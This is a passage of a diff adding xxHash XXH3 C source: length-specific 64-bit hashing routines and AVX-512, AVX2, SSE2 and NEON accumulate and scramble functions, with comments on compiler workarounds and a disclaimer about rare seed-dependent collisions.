XXH_PUREF XXH64_hash_t +XXH3_len_0to16_64b(const xxh_u8* input, size_t len, const xxh_u8* secret, XXH64_hash_t seed) +{ + XXH_ASSERT(len <= 16); + { if (XXH_likely(len > 8)) return XXH3_len_9to16_64b(input, len, secret, seed); + if (XXH_likely(len >= 4)) return XXH3_len_4to8_64b(input, len, secret, seed); + if (len) return XXH3_len_1to3_64b(input, len, secret, seed); + return XXH64_avalanche(seed ^ (XXH_readLE64(secret+56) ^ XXH_readLE64(secret+64))); + } +} + +/* + * DISCLAIMER: There are known *seed-dependent* multicollisions here due to + * multiplication by zero, affecting hashes of lengths 17 to 240. + * + * However, they are very unlikely. + * + * Keep this in mind when using the unseeded XXH3_64bits() variant: As with all + * unseeded non-cryptographic hashes, it does not attempt to defend itself + * against specially crafted inputs, only random inputs. + * + * Compared to classic UMAC where a 1 in 2^31 chance of 4 consecutive bytes + * cancelling out the secret is taken an arbitrary number of times (addressed + * in XXH3_accumulate_512), this collision is very unlikely with random inputs + * and/or proper seeding: + * + * This only has a 1 in 2^63 chance of 8 consecutive bytes cancelling out, in a + * function that is only called up to 16 times per hash with up to 240 bytes of + * input. + * + * This is not too bad for a non-cryptographic hash function, especially with + * only 64 bit outputs. + * + * The 128-bit variant (which trades some speed for strength) is NOT affected + * by this, although it is always a good idea to use a proper seed if you care + * about strength. + */ +XXH_FORCE_INLINE xxh_u64 XXH3_mix16B(const xxh_u8* XXH_RESTRICT input, + const xxh_u8* XXH_RESTRICT secret, xxh_u64 seed64) +{ +#if defined(__GNUC__) && !defined(__clang__) /* GCC, not Clang */ \ + && defined(__i386__) && defined(__SSE2__) /* x86 + SSE2 */ \ + && !defined(XXH_ENABLE_AUTOVECTORIZE) /* Define to disable like XXH32 hack */ + /* + * UGLY HACK: + * GCC for x86 tends to autovectorize the 128-bit multiply, resulting in + * slower code. + * + * By forcing seed64 into a register, we disrupt the cost model and + * cause it to scalarize. See `XXH32_round()` + * + * FIXME: Clang's output is still _much_ faster -- On an AMD Ryzen 3600, + * XXH3_64bits @ len=240 runs at 4.6 GB/s with Clang 9, but 3.3 GB/s on + * GCC 9.2, despite both emitting scalar code. + * + * GCC generates much better scalar code than Clang for the rest of XXH3, + * which is why finding a more optimal codepath is an interest. + */ + XXH_COMPILER_GUARD(seed64); +#endif + { xxh_u64 const input_lo = XXH_readLE64(input); + xxh_u64 const input_hi = XXH_readLE64(input+8); + return XXH3_mul128_fold64( + input_lo ^ (XXH_readLE64(secret) + seed64), + input_hi ^ (XXH_readLE64(secret+8) - seed64) + ); + } +} + +/* For mid range keys, XXH3 uses a Mum-hash variant. */ +XXH_FORCE_INLINE XXH_PUREF XXH64_hash_t +XXH3_len_17to128_64b(const xxh_u8* XXH_RESTRICT input, size_t len, + const xxh_u8* XXH_RESTRICT secret, size_t secretSize, + XXH64_hash_t seed) +{ + XXH_ASSERT(secretSize >= XXH3_SECRET_SIZE_MIN); (void)secretSize; + XXH_ASSERT(16 < len && len <= 128); + + { xxh_u64 acc = len * XXH_PRIME64_1; +#if XXH_SIZE_OPT >= 1 + /* Smaller and cleaner, but slightly slower. */ + unsigned int i = (unsigned int)(len - 1) / 32; + do { + acc += XXH3_mix16B(input+16 * i, secret+32*i, seed); + acc += XXH3_mix16B(input+len-16*(i+1), secret+32*i+16, seed); + } while (i-- != 0); +#else + if (len > 32) { + if (len > 64) { + if (len > 96) { + acc += XXH3_mix16B(input+48, secret+96, seed); + acc += XXH3_mix16B(input+len-64, secret+112, seed); + } + acc += XXH3_mix16B(input+32, secret+64, seed); + acc += XXH3_mix16B(input+len-48, secret+80, seed); + } + acc += XXH3_mix16B(input+16, secret+32, seed); + acc += XXH3_mix16B(input+len-32, secret+48, seed); + } + acc += XXH3_mix16B(input+0, secret+0, seed); + acc += XXH3_mix16B(input+len-16, secret+16, seed); +#endif + return XXH3_avalanche(acc); + } +} + +XXH_NO_INLINE XXH_PUREF XXH64_hash_t +XXH3_len_129to240_64b(const xxh_u8* XXH_RESTRICT input, size_t len, + const xxh_u8* XXH_RESTRICT secret, size_t secretSize, + XXH64_hash_t seed) +{ + XXH_ASSERT(secretSize >= XXH3_SECRET_SIZE_MIN); (void)secretSize; + XXH_ASSERT(128 < len && len <= XXH3_MIDSIZE_MAX); + + #define XXH3_MIDSIZE_STARTOFFSET 3 + #define XXH3_MIDSIZE_LASTOFFSET 17 + + { xxh_u64 acc = len * XXH_PRIME64_1; + xxh_u64 acc_end; + unsigned int const nbRounds = (unsigned int)len / 16; + unsigned int i; + XXH_ASSERT(128 < len && len <= XXH3_MIDSIZE_MAX); + for (i=0; i<8; i++) { + acc += XXH3_mix16B(input+(16*i), secret+(16*i), seed); + } + /* last bytes */ + acc_end = XXH3_mix16B(input + len - 16, secret + XXH3_SECRET_SIZE_MIN - XXH3_MIDSIZE_LASTOFFSET, seed); + XXH_ASSERT(nbRounds >= 8); + acc = XXH3_avalanche(acc); +#if defined(__clang__) /* Clang */ \ + && (defined(__ARM_NEON) || defined(__ARM_NEON__)) /* NEON */ \ + && !defined(XXH_ENABLE_AUTOVECTORIZE) /* Define to disable */ + /* + * UGLY HACK: + * Clang for ARMv7-A tries to vectorize this loop, similar to GCC x86. + * In everywhere else, it uses scalar code. + * + * For 64->128-bit multiplies, even if the NEON was 100% optimal, it + * would still be slower than UMAAL (see XXH_mult64to128). + * + * Unfortunately, Clang doesn't handle the long multiplies properly and + * converts them to the nonexistent "vmulq_u64" intrinsic, which is then + * scalarized into an ugly mess of VMOV.32 instructions. + * + * This mess is difficult to avoid without turning autovectorization + * off completely, but they are usually relatively minor and/or not + * worth it to fix. + * + * This loop is the easiest to fix, as unlike XXH32, this pragma + * _actually works_ because it is a loop vectorization instead of an + * SLP vectorization. + */ + #pragma clang loop vectorize(disable) +#endif + for (i=8 ; i < nbRounds; i++) { + /* + * Prevents clang for unrolling the acc loop and interleaving with this one. + */ + XXH_COMPILER_GUARD(acc); + acc_end += XXH3_mix16B(input+(16*i), secret+(16*(i-8)) + XXH3_MIDSIZE_STARTOFFSET, seed); + } + return XXH3_avalanche(acc + acc_end); + } +} + + +/* ======= Long Keys ======= */ + +#define XXH_STRIPE_LEN 64 +#define XXH_SECRET_CONSUME_RATE 8 /* nb of secret bytes consumed at each accumulation */ +#define XXH_ACC_NB (XXH_STRIPE_LEN / sizeof(xxh_u64)) + +#ifdef XXH_OLD_NAMES +# define STRIPE_LEN XXH_STRIPE_LEN +# define ACC_NB XXH_ACC_NB +#endif + +#ifndef XXH_PREFETCH_DIST +# ifdef __clang__ +# define XXH_PREFETCH_DIST 320 +# else +# if (XXH_VECTOR == XXH_AVX512) +# define XXH_PREFETCH_DIST 512 +# else +# define XXH_PREFETCH_DIST 384 +# endif +# endif /* __clang__ */ +#endif /* XXH_PREFETCH_DIST */ + +/* + * These macros are to generate an XXH3_accumulate() function. + * The two arguments select the name suffix and target attribute. + * + * The name of this symbol is XXH3_accumulate_() and it calls + * XXH3_accumulate_512_(). + * + * It may be useful to hand implement this function if the compiler fails to + * optimize the inline function. + */ +#define XXH3_ACCUMULATE_TEMPLATE(name) \ +void \ +XXH3_accumulate_##name(xxh_u64* XXH_RESTRICT acc, \ + const xxh_u8* XXH_RESTRICT input, \ + const xxh_u8* XXH_RESTRICT secret, \ + size_t nbStripes) \ +{ \ + size_t n; \ + for (n = 0; n < nbStripes; n++ ) { \ + const xxh_u8* const in = input + n*XXH_STRIPE_LEN; \ + XXH_PREFETCH(in + XXH_PREFETCH_DIST); \ + XXH3_accumulate_512_##name( \ + acc, \ + in, \ + secret + n*XXH_SECRET_CONSUME_RATE); \ + } \ +} + + +XXH_FORCE_INLINE void XXH_writeLE64(void* dst, xxh_u64 v64) +{ + if (!XXH_CPU_LITTLE_ENDIAN) v64 = XXH_swap64(v64); + XXH_memcpy(dst, &v64, sizeof(v64)); +} + +/* Several intrinsic functions below are supposed to accept __int64 as argument, + * as documented in https://software.intel.com/sites/landingpage/IntrinsicsGuide/ . + * However, several environments do not define __int64 type, + * requiring a workaround. + */ +#if !defined (__VMS) \ + && (defined (__cplusplus) \ + || (defined (__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) /* C99 */) ) + typedef int64_t xxh_i64; +#else + /* the following type must have a width of 64-bit */ + typedef long long xxh_i64; +#endif + + +/* + * XXH3_accumulate_512 is the tightest loop for long inputs, and it is the most optimized. + * + * It is a hardened version of UMAC, based off of FARSH's implementation. + * + * This was chosen because it adapts quite well to 32-bit, 64-bit, and SIMD + * implementations, and it is ridiculously fast. + * + * We harden it by mixing the original input to the accumulators as well as the product. + * + * This means that in the (relatively likely) case of a multiply by zero, the + * original input is preserved. + * + * On 128-bit inputs, we swap 64-bit pairs when we add the input to improve + * cross-pollination, as otherwise the upper and lower halves would be + * essentially independent. + * + * This doesn't matter on 64-bit hashes since they all get merged together in + * the end, so we skip the extra step. + * + * Both XXH3_64bits and XXH3_128bits use this subroutine. + */ + +#if (XXH_VECTOR == XXH_AVX512) \ + || (defined(XXH_DISPATCH_AVX512) && XXH_DISPATCH_AVX512 != 0) + +#ifndef XXH_TARGET_AVX512 +# define XXH_TARGET_AVX512 /* disable attribute target */ +#endif + +XXH_FORCE_INLINE XXH_TARGET_AVX512 void +XXH3_accumulate_512_avx512(void* XXH_RESTRICT acc, + const void* XXH_RESTRICT input, + const void* XXH_RESTRICT secret) +{ + __m512i* const xacc = (__m512i *) acc; + XXH_ASSERT((((size_t)acc) & 63) == 0); + XXH_STATIC_ASSERT(XXH_STRIPE_LEN == sizeof(__m512i)); + + { + /* data_vec = input[0]; */ + __m512i const data_vec = _mm512_loadu_si512 (input); + /* key_vec = secret[0]; */ + __m512i const key_vec = _mm512_loadu_si512 (secret); + /* data_key = data_vec ^ key_vec; */ + __m512i const data_key = _mm512_xor_si512 (data_vec, key_vec); + /* data_key_lo = data_key >> 32; */ + __m512i const data_key_lo = _mm512_srli_epi64 (data_key, 32); + /* product = (data_key & 0xffffffff) * (data_key_lo & 0xffffffff); */ + __m512i const product = _mm512_mul_epu32 (data_key, data_key_lo); + /* xacc[0] += swap(data_vec); */ + __m512i const data_swap = _mm512_shuffle_epi32(data_vec, (_MM_PERM_ENUM)_MM_SHUFFLE(1, 0, 3, 2)); + __m512i const sum = _mm512_add_epi64(*xacc, data_swap); + /* xacc[0] += product; */ + *xacc = _mm512_add_epi64(product, sum); + } +} +XXH_FORCE_INLINE XXH_TARGET_AVX512 XXH3_ACCUMULATE_TEMPLATE(avx512) + +/* + * XXH3_scrambleAcc: Scrambles the accumulators to improve mixing. + * + * Multiplication isn't perfect, as explained by Google in HighwayHash: + * + * // Multiplication mixes/scrambles bytes 0-7 of the 64-bit result to + * // varying degrees. In descending order of goodness, bytes + * // 3 4 2 5 1 6 0 7 have quality 228 224 164 160 100 96 36 32. + * // As expected, the upper and lower bytes are much worse. + * + * Source: https://github.com/google/highwayhash/blob/0aaf66b/highwayhash/hh_avx2.h#L291 + * + * Since our algorithm uses a pseudorandom secret to add some variance into the + * mix, we don't need to (or want to) mix as often or as much as HighwayHash does. + * + * This isn't as tight as XXH3_accumulate, but still written in SIMD to avoid + * extraction. + * + * Both XXH3_64bits and XXH3_128bits use this subroutine. + */ + +XXH_FORCE_INLINE XXH_TARGET_AVX512 void +XXH3_scrambleAcc_avx512(void* XXH_RESTRICT acc, const void* XXH_RESTRICT secret) +{ + XXH_ASSERT((((size_t)acc) & 63) == 0); + XXH_STATIC_ASSERT(XXH_STRIPE_LEN == sizeof(__m512i)); + { __m512i* const xacc = (__m512i*) acc; + const __m512i prime32 = _mm512_set1_epi32((int)XXH_PRIME32_1); + + /* xacc[0] ^= (xacc[0] >> 47) */ + __m512i const acc_vec = *xacc; + __m512i const shifted = _mm512_srli_epi64 (acc_vec, 47); + /* xacc[0] ^= secret; */ + __m512i const key_vec = _mm512_loadu_si512 (secret); + __m512i const data_key = _mm512_ternarylogic_epi32(key_vec, acc_vec, shifted, 0x96 /* key_vec ^ acc_vec ^ shifted */); + + /* xacc[0] *= XXH_PRIME32_1; */ + __m512i const data_key_hi = _mm512_srli_epi64 (data_key, 32); + __m512i const prod_lo = _mm512_mul_epu32 (data_key, prime32); + __m512i const prod_hi = _mm512_mul_epu32 (data_key_hi, prime32); + *xacc = _mm512_add_epi64(prod_lo, _mm512_slli_epi64(prod_hi, 32)); + } +} + +XXH_FORCE_INLINE XXH_TARGET_AVX512 void +XXH3_initCustomSecret_avx512(void* XXH_RESTRICT customSecret, xxh_u64 seed64) +{ + XXH_STATIC_ASSERT((XXH_SECRET_DEFAULT_SIZE & 63) == 0); + XXH_STATIC_ASSERT(XXH_SEC_ALIGN == 64); + XXH_ASSERT(((size_t)customSecret & 63) == 0); + (void)(&XXH_writeLE64); + { int const nbRounds = XXH_SECRET_DEFAULT_SIZE / sizeof(__m512i); + __m512i const seed_pos = _mm512_set1_epi64((xxh_i64)seed64); + __m512i const seed = _mm512_mask_sub_epi64(seed_pos, 0xAA, _mm512_set1_epi8(0), seed_pos); + + const __m512i* const src = (const __m512i*) ((const void*) XXH3_kSecret); + __m512i* const dest = ( __m512i*) customSecret; + int i; + XXH_ASSERT(((size_t)src & 63) == 0); /* control alignment */ + XXH_ASSERT(((size_t)dest & 63) == 0); + for (i=0; i < nbRounds; ++i) { + dest[i] = _mm512_add_epi64(_mm512_load_si512(src + i), seed); + } } +} + +#endif + +#if (XXH_VECTOR == XXH_AVX2) \ + || (defined(XXH_DISPATCH_AVX2) && XXH_DISPATCH_AVX2 != 0) + +#ifndef XXH_TARGET_AVX2 +# define XXH_TARGET_AVX2 /* disable attribute target */ +#endif + +XXH_FORCE_INLINE XXH_TARGET_AVX2 void +XXH3_accumulate_512_avx2( void* XXH_RESTRICT acc, + const void* XXH_RESTRICT input, + const void* XXH_RESTRICT secret) +{ + XXH_ASSERT((((size_t)acc) & 31) == 0); + { __m256i* const xacc = (__m256i *) acc; + /* Unaligned. This is mainly for pointer arithmetic, and because + * _mm256_loadu_si256 requires a const __m256i * pointer for some reason. */ + const __m256i* const xinput = (const __m256i *) input; + /* Unaligned. This is mainly for pointer arithmetic, and because + * _mm256_loadu_si256 requires a const __m256i * pointer for some reason. */ + const __m256i* const xsecret = (const __m256i *) secret; + + size_t i; + for (i=0; i < XXH_STRIPE_LEN/sizeof(__m256i); i++) { + /* data_vec = xinput[i]; */ + __m256i const data_vec = _mm256_loadu_si256 (xinput+i); + /* key_vec = xsecret[i]; */ + __m256i const key_vec = _mm256_loadu_si256 (xsecret+i); + /* data_key = data_vec ^ key_vec; */ + __m256i const data_key = _mm256_xor_si256 (data_vec, key_vec); + /* data_key_lo = data_key >> 32; */ + __m256i const data_key_lo = _mm256_srli_epi64 (data_key, 32); + /* product = (data_key & 0xffffffff) * (data_key_lo & 0xffffffff); */ + __m256i const product = _mm256_mul_epu32 (data_key, data_key_lo); + /* xacc[i] += swap(data_vec); */ + __m256i const data_swap = _mm256_shuffle_epi32(data_vec, _MM_SHUFFLE(1, 0, 3, 2)); + __m256i const sum = _mm256_add_epi64(xacc[i], data_swap); + /* xacc[i] += product; */ + xacc[i] = _mm256_add_epi64(product, sum); + } } +} +XXH_FORCE_INLINE XXH_TARGET_AVX2 XXH3_ACCUMULATE_TEMPLATE(avx2) + +XXH_FORCE_INLINE XXH_TARGET_AVX2 void +XXH3_scrambleAcc_avx2(void* XXH_RESTRICT acc, const void* XXH_RESTRICT secret) +{ + XXH_ASSERT((((size_t)acc) & 31) == 0); + { __m256i* const xacc = (__m256i*) acc; + /* Unaligned. This is mainly for pointer arithmetic, and because + * _mm256_loadu_si256 requires a const __m256i * pointer for some reason. */ + const __m256i* const xsecret = (const __m256i *) secret; + const __m256i prime32 = _mm256_set1_epi32((int)XXH_PRIME32_1); + + size_t i; + for (i=0; i < XXH_STRIPE_LEN/sizeof(__m256i); i++) { + /* xacc[i] ^= (xacc[i] >> 47) */ + __m256i const acc_vec = xacc[i]; + __m256i const shifted = _mm256_srli_epi64 (acc_vec, 47); + __m256i const data_vec = _mm256_xor_si256 (acc_vec, shifted); + /* xacc[i] ^= xsecret; */ + __m256i const key_vec = _mm256_loadu_si256 (xsecret+i); + __m256i const data_key = _mm256_xor_si256 (data_vec, key_vec); + + /* xacc[i] *= XXH_PRIME32_1; */ + __m256i const data_key_hi = _mm256_srli_epi64 (data_key, 32); + __m256i const prod_lo = _mm256_mul_epu32 (data_key, prime32); + __m256i const prod_hi = _mm256_mul_epu32 (data_key_hi, prime32); + xacc[i] = _mm256_add_epi64(prod_lo, _mm256_slli_epi64(prod_hi, 32)); + } + } +} + +XXH_FORCE_INLINE XXH_TARGET_AVX2 void XXH3_initCustomSecret_avx2(void* XXH_RESTRICT customSecret, xxh_u64 seed64) +{ + XXH_STATIC_ASSERT((XXH_SECRET_DEFAULT_SIZE & 31) == 0); + XXH_STATIC_ASSERT((XXH_SECRET_DEFAULT_SIZE / sizeof(__m256i)) == 6); + XXH_STATIC_ASSERT(XXH_SEC_ALIGN <= 64); + (void)(&XXH_writeLE64); + XXH_PREFETCH(customSecret); + { __m256i const seed = _mm256_set_epi64x((xxh_i64)(0U - seed64), (xxh_i64)seed64, (xxh_i64)(0U - seed64), (xxh_i64)seed64); + + const __m256i* const src = (const __m256i*) ((const void*) XXH3_kSecret); + __m256i* dest = ( __m256i*) customSecret; + +# if defined(__GNUC__) || defined(__clang__) + /* + * On GCC & Clang, marking 'dest' as modified will cause the compiler: + * - do not extract the secret from sse registers in the internal loop + * - use less common registers, and avoid pushing these reg into stack + */ + XXH_COMPILER_GUARD(dest); +# endif + XXH_ASSERT(((size_t)src & 31) == 0); /* control alignment */ + XXH_ASSERT(((size_t)dest & 31) == 0); + + /* GCC -O2 need unroll loop manually */ + dest[0] = _mm256_add_epi64(_mm256_load_si256(src+0), seed); + dest[1] = _mm256_add_epi64(_mm256_load_si256(src+1), seed); + dest[2] = _mm256_add_epi64(_mm256_load_si256(src+2), seed); + dest[3] = _mm256_add_epi64(_mm256_load_si256(src+3), seed); + dest[4] = _mm256_add_epi64(_mm256_load_si256(src+4), seed); + dest[5] = _mm256_add_epi64(_mm256_load_si256(src+5), seed); + } +} + +#endif + +/* x86dispatch always generates SSE2 */ +#if (XXH_VECTOR == XXH_SSE2) || defined(XXH_X86DISPATCH) + +#ifndef XXH_TARGET_SSE2 +# define XXH_TARGET_SSE2 /* disable attribute target */ +#endif + +XXH_FORCE_INLINE XXH_TARGET_SSE2 void +XXH3_accumulate_512_sse2( void* XXH_RESTRICT acc, + const void* XXH_RESTRICT input, + const void* XXH_RESTRICT secret) +{ + /* SSE2 is just a half-scale version of the AVX2 version. */ + XXH_ASSERT((((size_t)acc) & 15) == 0); + { __m128i* const xacc = (__m128i *) acc; + /* Unaligned. This is mainly for pointer arithmetic, and because + * _mm_loadu_si128 requires a const __m128i * pointer for some reason. */ + const __m128i* const xinput = (const __m128i *) input; + /* Unaligned. This is mainly for pointer arithmetic, and because + * _mm_loadu_si128 requires a const __m128i * pointer for some reason. */ + const __m128i* const xsecret = (const __m128i *) secret; + + size_t i; + for (i=0; i < XXH_STRIPE_LEN/sizeof(__m128i); i++) { + /* data_vec = xinput[i]; */ + __m128i const data_vec = _mm_loadu_si128 (xinput+i); + /* key_vec = xsecret[i]; */ + __m128i const key_vec = _mm_loadu_si128 (xsecret+i); + /* data_key = data_vec ^ key_vec; */ + __m128i const data_key = _mm_xor_si128 (data_vec, key_vec); + /* data_key_lo = data_key >> 32; */ + __m128i const data_key_lo = _mm_shuffle_epi32 (data_key, _MM_SHUFFLE(0, 3, 0, 1)); + /* product = (data_key & 0xffffffff) * (data_key_lo & 0xffffffff); */ + __m128i const product = _mm_mul_epu32 (data_key, data_key_lo); + /* xacc[i] += swap(data_vec); */ + __m128i const data_swap = _mm_shuffle_epi32(data_vec, _MM_SHUFFLE(1,0,3,2)); + __m128i const sum = _mm_add_epi64(xacc[i], data_swap); + /* xacc[i] += product; */ + xacc[i] = _mm_add_epi64(product, sum); + } } +} +XXH_FORCE_INLINE XXH_TARGET_SSE2 XXH3_ACCUMULATE_TEMPLATE(sse2) + +XXH_FORCE_INLINE XXH_TARGET_SSE2 void +XXH3_scrambleAcc_sse2(void* XXH_RESTRICT acc, const void* XXH_RESTRICT secret) +{ + XXH_ASSERT((((size_t)acc) & 15) == 0); + { __m128i* const xacc = (__m128i*) acc; + /* Unaligned. This is mainly for pointer arithmetic, and because + * _mm_loadu_si128 requires a const __m128i * pointer for some reason. */ + const __m128i* const xsecret = (const __m128i *) secret; + const __m128i prime32 = _mm_set1_epi32((int)XXH_PRIME32_1); + + size_t i; + for (i=0; i < XXH_STRIPE_LEN/sizeof(__m128i); i++) { + /* xacc[i] ^= (xacc[i] >> 47) */ + __m128i const acc_vec = xacc[i]; + __m128i const shifted = _mm_srli_epi64 (acc_vec, 47); + __m128i const data_vec = _mm_xor_si128 (acc_vec, shifted); + /* xacc[i] ^= xsecret[i]; */ + __m128i const key_vec = _mm_loadu_si128 (xsecret+i); + __m128i const data_key = _mm_xor_si128 (data_vec, key_vec); + + /* xacc[i] *= XXH_PRIME32_1; */ + __m128i const data_key_hi = _mm_shuffle_epi32 (data_key, _MM_SHUFFLE(0, 3, 0, 1)); + __m128i const prod_lo = _mm_mul_epu32 (data_key, prime32); + __m128i const prod_hi = _mm_mul_epu32 (data_key_hi, prime32); + xacc[i] = _mm_add_epi64(prod_lo, _mm_slli_epi64(prod_hi, 32)); + } + } +} + +XXH_FORCE_INLINE XXH_TARGET_SSE2 void XXH3_initCustomSecret_sse2(void* XXH_RESTRICT customSecret, xxh_u64 seed64) +{ + XXH_STATIC_ASSERT((XXH_SECRET_DEFAULT_SIZE & 15) == 0); + (void)(&XXH_writeLE64); + { int const nbRounds = XXH_SECRET_DEFAULT_SIZE / sizeof(__m128i); + +# if defined(_MSC_VER) && defined(_M_IX86) && _MSC_VER < 1900 + /* MSVC 32bit mode does not support _mm_set_epi64x before 2015 */ + XXH_ALIGN(16) const xxh_i64 seed64x2[2] = { (xxh_i64)seed64, (xxh_i64)(0U - seed64) }; + __m128i const seed = _mm_load_si128((__m128i const*)seed64x2); +# else + __m128i const seed = _mm_set_epi64x((xxh_i64)(0U - seed64), (xxh_i64)seed64); +# endif + int i; + + const void* const src16 = XXH3_kSecret; + __m128i* dst16 = (__m128i*) customSecret; +# if defined(__GNUC__) || defined(__clang__) + /* + * On GCC & Clang, marking 'dest' as modified will cause the compiler: + * - do not extract the secret from sse registers in the internal loop + * - use less common registers, and avoid pushing these reg into stack + */ + XXH_COMPILER_GUARD(dst16); +# endif + XXH_ASSERT(((size_t)src16 & 15) == 0); /* control alignment */ + XXH_ASSERT(((size_t)dst16 & 15) == 0); + + for (i=0; i < nbRounds; ++i) { + dst16[i] = _mm_add_epi64(_mm_load_si128((const __m128i *)src16+i), seed); + } } +} + +#endif + +#if (XXH_VECTOR == XXH_NEON) + +/* forward declarations for the scalar routines */ +XXH_FORCE_INLINE void +XXH3_scalarRound(void* XXH_RESTRICT acc, void const* XXH_RESTRICT input, + void const* XXH_RESTRICT secret, size_t lane); + +XXH_FORCE_INLINE void +XXH3_scalarScrambleRound(void* XXH_RESTRICT acc, + void const* XXH_RESTRICT secret, size_t lane); + +/*! + * @internal + * @brief The bulk processing loop for NEON and WASM SIMD128. + * + * The NEON code path is actually partially scalar when running on AArch64. This + * is to optimize the pipelining and can have up to 15% speedup depending on the + * CPU, and it also mitigates some GCC codegen issues. + * + * @see XXH3_NEON_LANES for configuring this and details about this optimization. + * + * NEON's 32-bit to 64-bit long multiply takes a half vector of 32-bit + * integers instead of the other platforms which mask full 64-bit vectors, + * so the setup is more complicated than just shifting right. + * + * Additionally, there is an optimization for 4 lanes at once noted below. + * + * Since, as stated, the most optimal amount of lanes for Cortexes is 6, + * there needs to be *three* versions of the accumulate operation used + * for the remaining 2 lanes. + * + * WASM's SIMD128 uses SIMDe's arm_neon.h polyfill because the intrinsics overlap + * nearly perfectly. + */ + +XXH_FORCE_INLINE void +XXH3_accumulate_512_neon( void* XXH_RESTRICT acc, + const void* XXH_RESTRICT input, + const void* XXH_RESTRICT secret) +{ + XXH_ASSERT((((size_t)acc) & 15) == 0); + XXH_STATIC_ASSERT(XXH3_NEON_LANES > 0 && XXH3_NEON_LANES <= XXH_ACC_NB && XXH3_NEON_LANES % 2 == 0); + { /* GCC for darwin arm64 does not like aliasing here */ + xxh_aliasing_uint64x2_t* const xacc = (xxh_aliasing_uint64x2_t*) acc; + /* We don't use a uint32x4_t pointer because it causes bus errors on ARMv7. */ + uint8_t const* xinput = (const uint8_t *) input; + uint8_t const* xsecret = (const uint8_t *) secret; + + size_t i; +#ifdef __wasm_simd128__ + /* + * On WASM SIMD128, Clang emits direct address loads when XXH3_kSecret + * is constant propagated, which results in it converting it to this + * inside the loop: + * + * a = v128.load(XXH3_kSecret + 0 + $secret_offset, offset = 0) + * b = v128.load(XXH3_kSecret + 16 + $secret_offset, offset = 0) + * ... + * + * This requires a full 32-bit address immediate (and therefore a 6 byte + * instruction) as well as an add for each offset. + * + * Putting an asm guard prevents it from folding (at the cost of losing + * the alignment hint), and uses the free offset in `v128.load` instead + * of adding secret_offset each time which overall reduces code size by + * about a kilobyte and improves performance. + */ + XXH_COMPILER_GUARD(xsecret); +#endif + /* Scalar lanes use the normal scalarRound routine */ + for (i = XXH3_NEON_LANES; i < XXH_ACC_NB; i++) { + XXH3_scalarRound(acc, input, secret, i); + } + i = 0; + /* 4 NEON lanes at a time. */ + for (; i+1 < XXH3_NEON_LANES / 2; i+=2) { + /* data_vec = xinput[i]; */ + uint64x2_t data_vec_1 = XXH_vld1q_u64(xinput + (i * 16)); + uint64x2_t data_vec_2 = XXH_vld1q_u64(xinput + ((i+1) * 16)); + /* key_vec = xsecret[i]; */ + uint64x2_t key_vec_1 = XXH_vld1q_u64(xsecret + (i * 16)); + uint64x2_t key_vec_2 = XXH_vld1q_u64(xsecret + ((i+1) * 16)); + /* data_swap = swap(data_vec) */ + uint64x2_t data_swap_1 = vextq_u64(data_vec_1, data_vec_1, 1); + uint64x2_t data_swap_2 = vextq_u64(data_vec_2, data_vec_2, 1); + /* data_key = data_vec ^ key_vec; */ + uint64x2_t data_key_1 = veorq_u64(data_vec_1, key_vec_1); + uint64x2_t data_key_2 = veorq_u64(data_vec_2, key_vec_2); + + /* + * If we reinterpret the 64x2 vectors as 32x4 vectors, we can use a + * de-interleave operation for 4 lanes in 1 step with `vuzpq_u32` to + * get one vector with the low 32 bits of each lane, and one vector + * with the high 32 bits of each lane. + * + * The intrinsic returns a double vector because the original ARMv7-a + * instruction modified both arguments in place. AArch64 and SIMD128 emit + * two instructions from this intrinsic. + * + * [ dk11L | dk11H | dk12L | dk12H ] -> [ dk11L | dk12L | dk21L | dk22L ] + * [ dk21L | dk21H | dk22L | dk22H ] -> [ dk11H | dk12H | dk21H | dk22H ] + */ + uint32x4x2_t unzipped = vuzpq_u32( + vreinterpretq_u32_u64(data_key_1), + vreinterpretq_u32_u64(data_key_2) + ); + /* data_key_lo = data_key & 0xFFFFFFFF */ + uint32x4_t data_key_lo = unzipped.val[0]; + /* data_key_hi = data_key >> 32 */ + uint32x4_t data_key_hi = unzipped.val[1]; + /* + * Then, we can split the vectors horizontally and multiply which, as for most + * widening intrinsics, have a variant that works on both high half vectors + * for free on AArch64. A similar instruction is available on SIMD128. + * + * sum = data_swap + (u64x2) data_key_lo * (u64x2) data_key_hi + */ + uint64x2_t sum_1 = XXH_vmlal_low_u32(data_swap_1, data_key_lo, data_key_hi); + uint64x2_t sum_2 = XXH_vmlal_high_u32(data_swap_2, data_key_lo, data_key_hi); + /* + * Clang reorders + * a += b * c; // umlal swap.2d, dkl.2s, dkh.2s + * c += a; // add acc.2d, acc.2d, swap.2d + * to + * c += a; // add acc.2d, acc.2d, swap.2d + * c += b * c; // umlal acc.2d, dkl.2s, dkh.2s + * + * While it would make sense in theory since the addition is faster, + * for reasons likely related to umlal being limited to certain NEON + * pipelines, this is worse. A compiler guard fixes this. + */ + XXH_COMPILER_GUARD_CLANG_NEON(sum_1); + XXH_COMPILER_GUARD_CLANG_NEON(sum_2); + /* xacc[i] = acc_vec + sum; */ + xacc[i] = vaddq_u64(xacc[i], sum_1); + xacc[i+1] = vaddq_u64(xacc[i+1], sum_2); + } + /* Operate on the remaining NEON lanes 2 at a time. */ + for (; i < XXH3_NEON_LANES / 2; i++) { + /* data_vec = xinput[i]; */ + uint64x2_t data_vec = XXH_vld1q_u64(xinput + (i * 16)); + /* key_vec = xsecret[i]; */ + uint64x2_t key_vec = XXH_vld1q_u64(xsecret + (i * 16)); + /* acc_vec_2 = swap(data_vec) */ + uint64x2_t data_swap = vextq_u64(data_vec, data_vec, 1); + /* data_key = data_vec ^ key_vec; */ + uint64x2_t data_key = veorq_u64(data_vec, key_vec); + /* For two lanes, just use VMOVN and VSHRN. */ + /* data_key_lo = data_key & 0xFFFFFFFF; */ + uint32x2_t data_key_lo = vmovn_u64(data_key); + /* data_key_hi = data_key >> 32; */ + uint32x2_t data_key_hi = vshrn_n_u64(data_key, 32); + /* sum = data_swap + (u64x2) data_key_lo * (u64x2) data_key_hi; */ + uint64x2_t sum = vmlal_u32(data_swap, data_key_lo, data_key_hi); + /* Same Clang workaround as before */ + XXH_COMPILER_GUARD_CLANG_NEON(sum); + /* xacc[i] = acc_vec + sum; */ + xacc[i] = vaddq_u64 (xacc[i], sum); + } + } +} +XXH_FORCE_INLINE XXH3_ACCUMULATE_TEMPLATE(neon) + +XXH_FORCE_INLINE void +XXH3_scrambleAcc_neon(void* XXH_RESTRICT acc, const void* XXH_RESTRICT secret) +{ + XXH_ASSERT((((size_t)acc) & 15) == 0); + + { 